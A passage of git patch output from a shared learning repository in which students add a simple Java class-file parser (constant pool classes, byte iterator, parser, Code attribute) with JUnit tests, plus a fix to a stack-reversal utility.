+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+}
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/constant/MethodRefInfo.java b/group03/664269713/DataStructure/src/com/ace/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..1eb5b0e0a4
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,55 @@
+package com.ace.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+	
+	
+	
+}
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/constant/NameAndTypeInfo.java b/group03/664269713/DataStructure/src/com/ace/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..b7a8125b92
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,45 @@
+package com.ace.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+}
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/constant/NullConstantInfo.java b/group03/664269713/DataStructure/src/com/ace/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..b9adf49ac6
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,13 @@
+package com.ace.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	
+}
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/constant/StringInfo.java b/group03/664269713/DataStructure/src/com/ace/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..d027a02c87
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/constant/StringInfo.java
@@ -0,0 +1,26 @@
+package com.ace.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+	
+}
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/constant/UTF8Info.java b/group03/664269713/DataStructure/src/com/ace/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..75d0695236
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/constant/UTF8Info.java
@@ -0,0 +1,32 @@
+package com.ace.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	
+	
+
+}
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/loader/ByteCodeIterator.java b/group03/664269713/DataStructure/src/com/ace/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..42f779a0c4
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,40 @@
+package com.ace.jvm.loader;
+
+import java.util.Arrays;
+
+import com.ace.jvm.util.Util;
+
+public class ByteCodeIterator {
+	private int pos = 0;
+	private byte[] codes;
+
+	public ByteCodeIterator(byte[] codes) {
+		this.codes = codes;
+	}
+
+	public byte[] getBytes(int len) {
+		if (pos + len > codes.length) {
+			throw new ArrayIndexOutOfBoundsException();
+		}
+
+		byte[] data = Arrays.copyOfRange(codes, pos, pos + len);
+		pos = pos + len;
+		return data;
+	}
+
+	public int nextU1ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++] });
+	}
+
+	public int nextU2ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++] });
+	}
+
+	public int nextU4ToInt() {
+		return Util.byteToInt(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+
+	public String nextU4ToHexString() {
+		return Util.byteToHexString(new byte[] { codes[pos++], codes[pos++], codes[pos++], codes[pos++] });
+	}
+}
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/loader/ClassFileLoader.java b/group03/664269713/DataStructure/src/com/ace/jvm/loader/ClassFileLoader.java
index a6f34271e3..7558f1d303 100644
--- a/group03/664269713/DataStructure/src/com/ace/jvm/loader/ClassFileLoader.java
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/loader/ClassFileLoader.java
@@ -4,6 +4,8 @@
 import java.util.ArrayList;
 import java.util.List;
 
+import com.ace.jvm.clz.ClassFile;
+
 
 
 public class ClassFileLoader {
@@ -55,7 +57,11 @@ public String getClassPath(){
 		return sb.toString();
 	}
 
-	
+	public ClassFile loadClass(String className){
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser =  new ClassFileParser();
+		return parser.parse(codes);
+	}
 
 	
 
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/loader/ClassFileParser.java b/group03/664269713/DataStructure/src/com/ace/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..845671a600
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/loader/ClassFileParser.java
@@ -0,0 +1,134 @@
+package com.ace.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+import com.ace.jvm.clz.AccessFlag;
+import com.ace.jvm.clz.ClassFile;
+import com.ace.jvm.clz.ClassIndex;
+import com.ace.jvm.constant.ClassInfo;
+import com.ace.jvm.constant.ConstantPool;
+import com.ace.jvm.constant.FieldRefInfo;
+import com.ace.jvm.constant.MethodRefInfo;
+import com.ace.jvm.constant.NameAndTypeInfo;
+import com.ace.jvm.constant.NullConstantInfo;
+import com.ace.jvm.constant.StringInfo;
+import com.ace.jvm.constant.UTF8Info;
+
+public class ClassFileParser {
+
+	public ClassFile parse(byte[] codes) {
+		ClassFile clzFile = new ClassFile();
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
+
+		String magicNum = iter.nextU4ToHexString();
+		if (!"cafebabe".equals(magicNum)) {
+			return null;
+		}
+
+		clzFile.setMinorVersion(iter.nextU2ToInt());
+		clzFile.setMajorVersion(iter.nextU2ToInt());
+
+		ConstantPool pool = parseConstantPool(iter);
+		clzFile.setConstPool(pool);
+
+		AccessFlag flag = parseAccessFlag(iter);
+		clzFile.setAccessFlag(flag);
+
+		ClassIndex index = parseClassInfex(iter);
+		clzFile.setClassIndex(index);
+
+		return clzFile;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+		int flagValue = iter.nextU2ToInt();
+		AccessFlag accessFlag = new AccessFlag(flagValue);
+		return accessFlag;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+		ClassIndex classIndex = new ClassIndex();
+		int thisClassIndex = iter.nextU2ToInt();
+		classIndex.setThisClassIndex(thisClassIndex);
+		
+		int superClassIndex = iter.nextU2ToInt();
+		classIndex.setSuperClassIndex(superClassIndex);
+		
+		return classIndex;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		ConstantPool pool = new ConstantPool();
+		int poolCount = iter.nextU2ToInt();
+
+		pool.addConstantInfo(new NullConstantInfo());
+
+		for (int i = 1; i < poolCount - 1; i++) {
+			int tag = iter.nextU1ToInt();
+			
+			if(tag == 7){
+				int utf8Index = iter.nextU2ToInt();
+				ClassInfo classInfo = new ClassInfo(pool);
+				classInfo.setUtf8Index(utf8Index);
+				
+				pool.addConstantInfo(classInfo);
+			} else if(tag == 1){
+				int len = iter.nextU2ToInt();
+				byte[] data = iter.getBytes(len);
+				String str = null;
+				try {
+					 str = new String(data, "UTF-8");
+				} catch (UnsupportedEncodingException e) {
+					// TODO Auto-generated catch block
+					e.printStackTrace();
+				}
+				
+				UTF8Info utf8Info = new UTF8Info(pool);
+				utf8Info.setLength(len);
+				utf8Info.setValue(str);
+				
+				pool.addConstantInfo(utf8Info);
+			} else if(tag == 8){
+				StringInfo stringInfo = new StringInfo(pool);
+				int index = iter.nextU2ToInt();
+				stringInfo.setIndex(index);
+				
+				pool.addConstantInfo(stringInfo);
+			} else if(tag == 9){
+				FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
+				int classInfoIndex = iter.nextU2ToInt();
+				int nameAndTypeIndex = iter.nextU2ToInt();
+				
+				fieldRefInfo.setClassInfoIndex(classInfoIndex);
+				fieldRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
+				
+				pool.addConstantInfo(fieldRefInfo);
+			} else if(tag == 10){
+				MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
+				int classInfoIndex = iter.nextU2ToInt();
+				int nameAndTypeIndex = iter.nextU2ToInt();
+				
+				methodRefInfo.setClassInfoIndex(classInfoIndex);
+				methodRefInfo.setNameAndTypeIndex(nameAndTypeIndex);
+				
+				pool.addConstantInfo(methodRefInfo);
+			} else if(tag == 12){
+				NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
+				int index1 = iter.nextU2ToInt();
+				int index2 = iter.nextU2ToInt();
+				
+				nameAndTypeInfo.setIndex1(index1);
+				nameAndTypeInfo.setIndex2(index2);
+				
+				pool.addConstantInfo(nameAndTypeInfo);
+			} else {
+				throw new RuntimeException("the constant pool tag " + tag + " is not exist.");
+			}
+			
+		}
+
+		return pool;
+	}
+
+}
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/test/ClassFileloaderTest.java b/group03/664269713/DataStructure/src/com/ace/jvm/test/ClassFileloaderTest.java
index 2079641d3b..496d19dc71 100644
--- a/group03/664269713/DataStructure/src/com/ace/jvm/test/ClassFileloaderTest.java
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/test/ClassFileloaderTest.java
@@ -1,19 +1,36 @@
 package com.ace.jvm.test;
 
 import org.junit.After;
-import  org.junit.Assert;
+import org.junit.Assert;
 import org.junit.Before;
 import org.junit.Test;
 
+import com.ace.jvm.clz.ClassFile;
+import com.ace.jvm.clz.ClassIndex;
+import com.ace.jvm.constant.ClassInfo;
+import com.ace.jvm.constant.ConstantPool;
+import com.ace.jvm.constant.MethodRefInfo;
+import com.ace.jvm.constant.NameAndTypeInfo;
+import com.ace.jvm.constant.UTF8Info;
 import com.ace.jvm.loader.ClassFileLoader;
 
 public class ClassFileloaderTest {
 
+	private static final String FULL_QUALIFIED_CLASS_NAME = "com/ace/jvm/test/EmployeeV1";
 	
 	static String path1 = "D:\\Upgrade\\coding2017\\group03\\664269713\\DataStructure\\bin";
 	static String path2 = "C:\temp";
 	
+	static ClassFile clzFile = null;
 	
+	static {
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path1);
+		String className = "com.ace.jvm.test.EmployeeV1";
+		
+		clzFile = loader.loadClass(className);
+//		clzFile.print();
+	}
 	
 	@Before
 	public void setUp() throws Exception {		 
@@ -46,7 +63,7 @@ public void testClassFileLength() {
 		
 		byte[] byteCodes = loader.readBinaryCode(className);
 		
-		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
+		// 娉ㄦ剰锛氳繖涓瓧鑺傛暟鍙兘鍜屼綘鐨凧VM鐗堟湰鏈夊叧绯伙紝 浣犲彲浠ョ湅鐪嬬紪璇戝ソ鐨勭被鍒板簳鏈夊澶�
 		Assert.assertEquals(809, byteCodes.length);
 		
 	}
@@ -85,4 +102,91 @@ private String byteToHexString(byte[] codes ){
 		return buffer.toString();
 	}
 
+	@Test
+	public void testVersion(){
+
+		Assert.assertEquals(0, clzFile.getMinorVersion());
+		Assert.assertEquals(52, clzFile.getMajorVersion());
+
+	}
+
+	@Test
+	public void testConstantPool(){
+
+
+		ConstantPool pool = clzFile.getConstantPool();
+
+		Assert.assertEquals(53, pool.getSize());
+
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(1);
+			Assert.assertEquals(2, clzInfo.getUtf8Index());
+
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(2);
+			Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, utf8Info.getValue());
+		}
+		{
+			ClassInfo clzInfo = (ClassInfo) pool.getConstantInfo(3);
+			Assert.assertEquals(4, clzInfo.getUtf8Index());
+
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(4);
+			Assert.assertEquals("java/lang/Object", utf8Info.getValue());
+		}
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(5);
+			Assert.assertEquals("name", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(6);
+			Assert.assertEquals("Ljava/lang/String;", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(7);
+			Assert.assertEquals("age", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(8);
+			Assert.assertEquals("I", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(9);
+			Assert.assertEquals("<init>", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(10);
+			Assert.assertEquals("(Ljava/lang/String;I)V", utf8Info.getValue());
+
+			utf8Info = (UTF8Info) pool.getConstantInfo(11);
+			Assert.assertEquals("Code", utf8Info.getValue());
+		}
+
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(12);
+			Assert.assertEquals(3, methodRef.getClassInfoIndex());
+			Assert.assertEquals(13, methodRef.getNameAndTypeIndex());
+		}
+
+		{
+			NameAndTypeInfo nameAndType = (NameAndTypeInfo) pool.getConstantInfo(13);
+			Assert.assertEquals(9, nameAndType.getIndex1());
+			Assert.assertEquals(14, nameAndType.getIndex2());
+		}
+		//鎶芥煡鍑犱釜鍚�
+		{
+			MethodRefInfo methodRef = (MethodRefInfo)pool.getConstantInfo(45);
+			Assert.assertEquals(1, methodRef.getClassInfoIndex());
+			Assert.assertEquals(46, methodRef.getNameAndTypeIndex());
+		}
+
+		{
+			UTF8Info utf8Info = (UTF8Info) pool.getConstantInfo(53);
+			Assert.assertEquals("EmployeeV1.java", utf8Info.getValue());
+		}
+	}
+	@Test
+	public void testClassIndex(){
+
+		ClassIndex clzIndex = clzFile.getClzIndex();
+		ClassInfo thisClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getThisClassIndex());
+		ClassInfo superClassInfo = (ClassInfo)clzFile.getConstantPool().getConstantInfo(clzIndex.getSuperClassIndex());
+
+
+		Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
+		Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
+	}
 }
diff --git a/group03/664269713/DataStructure/src/com/ace/jvm/util/Util.java b/group03/664269713/DataStructure/src/com/ace/jvm/util/Util.java
new file mode 100644
index 0000000000..fe7741649d
--- /dev/null
+++ b/group03/664269713/DataStructure/src/com/ace/jvm/util/Util.java
@@ -0,0 +1,24 @@
+package com.ace.jvm.util;
+
+public class Util {
+	public static int byteToInt(byte[] codes){
+    	String s1 = byteToHexString(codes);
+    	return Integer.valueOf(s1, 16).intValue();
+    }
+    
+    
+    
+	public static String byteToHexString(byte[] codes ){
+		StringBuffer buffer = new StringBuffer();
+		for(int i=0;i<codes.length;i++){
+			byte b = codes[i];
+			int value = b & 0xFF;
+			String strHex = Integer.toHexString(value);
+			if(strHex.length()< 2){
+				strHex = "0" + strHex;
+			}		
+			buffer.append(strHex);
+		}
+		return buffer.toString();
+	}
+}

From b0847da7eb523bf373b08f446b6f88e3dbe98494 Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Thu, 13 Apr 2017 10:48:40 +0800
Subject: [PATCH 078/262] =?UTF-8?q?StackUtil=E6=94=B9=E6=AD=A3?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

StackUtil改正
---
 .../src/com/coding/basic/stack/StackUtil.java | 32 +++++++++++++------
 1 file changed, 22 insertions(+), 10 deletions(-)

diff --git a/group23/1028361767/data-structure/src/com/coding/basic/stack/StackUtil.java b/group23/1028361767/data-structure/src/com/coding/basic/stack/StackUtil.java
index bbcc7e05e2..53175a670f 100644
--- a/group23/1028361767/data-structure/src/com/coding/basic/stack/StackUtil.java
+++ b/group23/1028361767/data-structure/src/com/coding/basic/stack/StackUtil.java
@@ -9,13 +9,27 @@ public class StackUtil {
 	 */
 	public static void reverse(Stack s) {
 		Stack tmp = new Stack();
-		Stack tmp1 = new Stack();
-		while(!s.isEmpty())
-			tmp.push(s.pop());
-		while(!tmp.isEmpty())
-			tmp1.push(tmp.pop());
-		while(!tmp1.isEmpty())
-			s.push(tmp1.pop());
+//		Stack tmp1 = new Stack();
+//		while(!s.isEmpty())
+//			tmp.push(s.pop());
+//		while(!tmp.isEmpty())
+//			tmp1.push(tmp.pop());
+//		while(!tmp1.isEmpty())
+//			s.push(tmp1.pop());
+		/**
+		 * 改正
+		 */
+		int len = s.size();
+		for(int i=0;i<len;i++){
+			Integer top = (Integer)s.pop();
+			while(s.size() > i) {
+				tmp.push(s.pop());
+			}
+			s.push(top);
+			while(tmp.size() > 0){
+				s.push(tmp.pop());
+			}
+		}
 	}
 
 	/**
@@ -90,9 +104,7 @@ public static boolean isValidPairs(String s){
 				}
 			}
 		}
-		System.out.println(stack.size());
-		if(!stack.isEmpty()) return false;
-		return true;
+		return stack.size() == 0;
 	}
 	
 	

From 1a3f0bb01fe59b8e565bc5d8c6992d0ca375bd65 Mon Sep 17 00:00:00 2001
From: vegetableDogBai <bdl1994@163.com>
Date: Thu, 13 Apr 2017 16:35:14 +0800
Subject: [PATCH 079/262] =?UTF-8?q?week6=20jvm=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../com/coderising/jvm/test/EmployeeV1.java   |  31 +-
 .../coderising/jvm/attr/AttributeInfo.java    |  19 ++
 .../src/com/coderising/jvm/attr/CodeAttr.java | 126 ++++++++
 .../coderising/jvm/attr/LineNumberTable.java  |  70 +++++
 .../jvm/attr/LocalVariableItem.java           |  39 +++
 .../jvm/attr/LocalVariableTable.java          |  46 +++
 .../coderising/jvm/attr/StackMapTable.java    |  30 ++
 .../com/coderising/jvm/clz/AccessFlag.java    |  25 ++
 .../src/com/coderising/jvm/clz/ClassFile.java |  92 ++++++
 .../com/coderising/jvm/clz/ClassIndex.java    |  19 ++
 .../coderising/jvm/constant/ClassInfo.java    |  24 ++
 .../coderising/jvm/constant/ConstantInfo.java |  29 ++
 .../coderising/jvm/constant/ConstantPool.java |  29 ++
 .../coderising/jvm/constant/FieldRefInfo.java |  54 ++++
 .../jvm/constant/MethodRefInfo.java           |  55 ++++
 .../jvm/constant/NameAndTypeInfo.java         |  45 +++
 .../jvm/constant/NullConstantInfo.java        |  13 +
 .../coderising/jvm/constant/StringInfo.java   |  26 ++
 .../com/coderising/jvm/constant/UTF8Info.java |  32 ++
 .../src/com/coderising/jvm/field/Field.java   |  44 +++
 .../jvm/loader/ByteCodeIterator.java          |  65 ++++
 .../jvm/loader/ClassFileLoader.java           | 140 +++++++++
 .../jvm/loader/ClassFileParser.java           | 170 +++++++++++
 .../src/com/coderising/jvm/method/Method.java |  66 +++++
 .../jvm/test/ClassFileloaderTest.java         | 277 ++++++++++++++++++
 .../com/coderising/jvm/test/EmployeeV1.java   |  28 ++
 .../src/com/coderising/jvm/util/Util.java     |  24 ++
 27 files changed, 1604 insertions(+), 14 deletions(-)
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/attr/CodeAttr.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LineNumberTable.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/attr/StackMapTable.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/clz/AccessFlag.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassFile.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/clz/ClassIndex.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ClassInfo.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantInfo.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/ConstantPool.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/StringInfo.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/constant/UTF8Info.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/field/Field.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/loader/ClassFileParser.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/method/Method.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/test/EmployeeV1.java
 create mode 100644 group23/563253496/week6_jvm/src/com/coderising/jvm/util/Util.java

diff --git a/group23/563253496/week5_jvm/src/com/coderising/jvm/test/EmployeeV1.java b/group23/563253496/week5_jvm/src/com/coderising/jvm/test/EmployeeV1.java
index 12e3d7efdd..c3e3931582 100644
--- a/group23/563253496/week5_jvm/src/com/coderising/jvm/test/EmployeeV1.java
+++ b/group23/563253496/week5_jvm/src/com/coderising/jvm/test/EmployeeV1.java
@@ -1,28 +1,31 @@
 package com.coderising.jvm.test;
 
 public class EmployeeV1 {
-	
-	
-	private String name;
+
+
+    private String name;
     private int age;
-    
+
     public EmployeeV1(String name, int age) {
         this.name = name;
-        this.age = age;        
-    }    
+        this.age = age;
+    }
 
     public void setName(String name) {
         this.name = name;
     }
-    public void setAge(int age){
-    	this.age = age;
+
+    public void setAge(int age) {
+        this.age = age;
     }
-    public void sayHello() {        
-    	System.out.println("Hello , this is class Employee ");    	
+
+    public void sayHello() {
+        System.out.println("Hello , this is class Employee ");
     }
-    public static void main(String[] args){
-    	EmployeeV1 p = new EmployeeV1("Andy",29);
-    	p.sayHello();    
-    	
+
+    public static void main(String[] args) {
+        EmployeeV1 p = new EmployeeV1("Andy", 29);
+        p.sayHello();
+
     }
 }
\ No newline at end of file
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/AttributeInfo.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..88f60c77f6
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..eb2a0a9a26
--- /dev/null
+++ b/group23/563253496/week6_jvm/src/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,126 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+import com.coderising.jvm.loader.ClassFileLoader;
+import sun.text.CodePointIterator;
+
+import java.io.UnsupportedEncodingException;
+
+
+public class CodeAttr extends AttributeInfo {
+    private int maxStack;
+    private int maxLocals;
+    private int codeLen;
+    private String code;
+
+    public String getCode() {
+        return code;
+    }
+
+    //private ByteCodeCommand[] cmds ;
+    //public ByteCodeCommand[] getCmds() {
+    //	return cmds;
+    //}
+    private LineNumberTable lineNumTable;
+    private LocalVariableTable localVarTable;
+    private StackMapTable stackMapTable;
+
+    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code /*ByteCodeCommand[] cmds*/) {
+        super(attrNameIndex, attrLen);
+        this.maxStack = maxStack;
+        this.maxLocals = maxLocals;
+        this.codeLen = codeLen;
+        this.code = code;
+        //this.cmds = cmds;
+    }
+
+    public void setLineNumberTable(LineNumberTable t) {
+        this.lineNumTable = t;
+    }
+
+    public void setLocalVariableTable(LocalVariableTable t) {
+        this.localVarTable = t;
+    }
+
+    public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter) {
+
+        int attribute_name_index = iter.nextU2ToInt();
+        if (!clzFile.getConstantPool().getUTF8String(attribute_name_index).equalsIgnoreCase(CODE)) {
+            throw new RuntimeException("CODE属性的attributenameindex解析错误");
+        }
+
+        int attribute_len = iter.nextU4ToInt();
+        byte[] bytes = iter.getBytes(attribute_len);
+        ByteCodeIterator codeIter = new ByteCodeIterator(bytes);
+
+        int max_stack = codeIter.nextU2ToInt();
+        int max_locals = codeIter.nextU2ToInt();
+        int code_len = codeIter.nextU4ToInt();
+        /*byte[] codes = codeIter.getBytes(code_len);
+
+        String code = null;
+        try {
+
+            code = new String(codes, "UTF-8");
+        } catch (UnsupportedEncodingException e) {
+            e.printStackTrace();
+        }
+*/
+        String code = codeIter.nextUxToHexString(code_len);
+        CodeAttr codeAttr = new CodeAttr(attribute_name_index, attribute_len, max_stack, max_locals, code_len, code);
+
+        int exception_table_len = codeIter.nextU2ToInt();
+        if (exception_table_len > 0) {
+            throw new RuntimeException("方法的code属性中有异常未进行解析");
+        }
+
+        //code中的属性
+        int attribute_count = codeIter.nextU2ToInt();
+        /*byte[] bytes1 = codeIter.getBytes(attribute_length);
+        ByteCodeIterator codeAttrIter = new ByteCodeIterator(bytes1);
+
+        while (codeAttrIter.isNotEnd()) {
